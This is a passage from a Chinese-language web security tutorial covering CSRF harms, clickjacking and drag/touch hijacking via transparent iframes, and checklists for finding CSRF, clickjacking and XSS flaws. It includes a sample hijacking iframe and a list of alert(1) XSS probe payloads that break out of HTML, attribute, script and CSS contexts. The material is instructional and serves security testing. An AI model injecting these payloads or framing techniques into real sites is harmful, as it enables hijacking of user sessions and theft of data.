““background:url(”")CSRF危害：篡改目标网站上的用户数据、盗取用户隐私数据、作物其他攻击向量的辅助攻击手法、传播CSRF蠕虫。五、前端黑客之界面操作劫持界面操作劫持攻击是一种基于视觉欺骗的Web会话劫持攻击，它通过在网页的可见输入控件上覆盖一个不可见的框（iframe），让用户以为在操作可见控件，但是实际上用户的操作行为被其不可见的框所劫持，执行不可见框中的恶意劫持代码，从而完成在用户不知情的情况下窃取敏感信息，篡改数据等攻击。分类点击劫持劫持的是用户的鼠标点击操作，主要的劫持目标是有重要会话交互的页面，比如，银行交易页面、后台管理页面或者劫持用户的摄像头和麦克风。拖放劫持在现在的Web应用中，有一些需要用户采用鼠标拖放完成的操作，而且用户也经常在浏览器中使用鼠标拖放操作来代替复制粘贴。因此，拖放操作劫持很大程度的扩展了点击劫持的攻击范围，也将劫持模式从单纯的鼠标点击扩展到了鼠标拖放行为。通过劫持某个页面的拖放操作实现对其他页面链接的窃取，这些链接中可能会有session key、token、password等信息；或者可以把其他浏览器中的页面内容拖放到富文本编辑器模式中，这样就能够看到页面源代码了，而这些HTML源代码中可能会存在敏感信息。触屏劫持移动智能终端设备由于体积限制，一般都没有鼠标、键盘这些输入设备，用户更多的操作是依靠手指在触屏上的点击或滑动等动作完成。在移动设备上，类似点击劫持的攻击模式，实现了对用户触摸屏操作的劫持攻击。原理分析点击劫持：CSS透明层+iframe利用CSS中透明属性opacity，取值范围0~1，取值0时透明度最高用iframe嵌入被劫持界面：<iframe id = “victim” src=“www.victim.com” scrolling=“no”>危害界面操作劫持实际上突破了CSRF的防御策略，这是一种社工色彩很强的跨域操作，而这种跨域正好是浏览器自身的特性，带来的危害可以很大，比如，篡改与删除数据，偷取隐私甚至爆发蠕虫。六、漏洞挖掘CSRF的漏洞挖掘目标表单是否有有效的token随机串目标表单是否有验证码目标是否判断了Refere来源网站根目录下的crossdomain.xml的"allow-access-from domain"是否是通配符目标JSON是否可以自定义callback函数界面劫持的漏洞挖掘目标的HTTP响应头是否设置了X-Frame-Options字段目标是否有Javascript的Frame Busting机制更简单的是用iframe嵌入目标网站试试反射型XSS漏洞挖掘反射型XSS最常见的就是直接在URL中进行注入，URL的格式如下：<scheme>://<netloc>/<path>?<query>#<fragment> 在完整的URL构成中，<path>、<query>、<fragment>都是用户可控的一般情况下可以通过将payload加入到参数来测试XSS的存在与否<script>alert(1)</script>’"><script>alert(1)</script><img/src=@ onerror=alert(1) />’ onmouseover=alert(1) x=’ onmouseover=alert(1) x=javascript:alert(1)//’";alert(1)//}x:expression(alert(1))…..根据请求后的反应看是否有弹出窗或浏览器脚本错误，如果有则说明目标存在XSS漏洞例如：www.test.com/xss.php?id=1,这里输入点为id=1,既然有输入点，查看结果则依赖于输出点，可能是以下几处：HTML标签之间，<div id=“body”>[输出]</div>HTML标签内，<input type=“text” value=[输出] />Javascript代码的值，<script>a="[输出]”;…</script>CSS代码的值，<style>body{font-size:[输出]px;…}</style>HTML标签之间有很多标签之间的脚本是无法执行的，如：<title>、<textarea>、<xmp>、<iframe>、<noscript>、<plaintext>，可以先闭合前面的标签，来使得脚本能够成功执行。</title><script>alert(1)</script>HTML标签内" onmouseover=alert(1) x=" 这种是闭合属性，然后使用on事件来触发脚本。"><script>alert(1)</script> 这种是闭合属性后又闭合标签，然后直接执行脚本。细分为三种场景：1.输出在src/href/action等属性内2.输出在on*事件内3.输出在style属性内Javascript代码的值</script><script>alert(1)//CSS代码的值与“输出再在style属性内”类似，构造能执行的Javascript语句，闭合标签。存储型XSS漏洞挖掘与反射型XSS相比，存储型XSS漏洞挖掘的差别在于：存储型XSS一般都是基于表单的提交，然后进入服务端存储，最终在某个页面输出。一般情况下，存储型XSS表单提交之后的输出点有以下几种可能：表单提交后跳转到的页面可能是输出点。表单所在的页面可能是输出点。表单提交后不见了，整个网站的某个源文件是输出点，需要借助爬虫进行分析。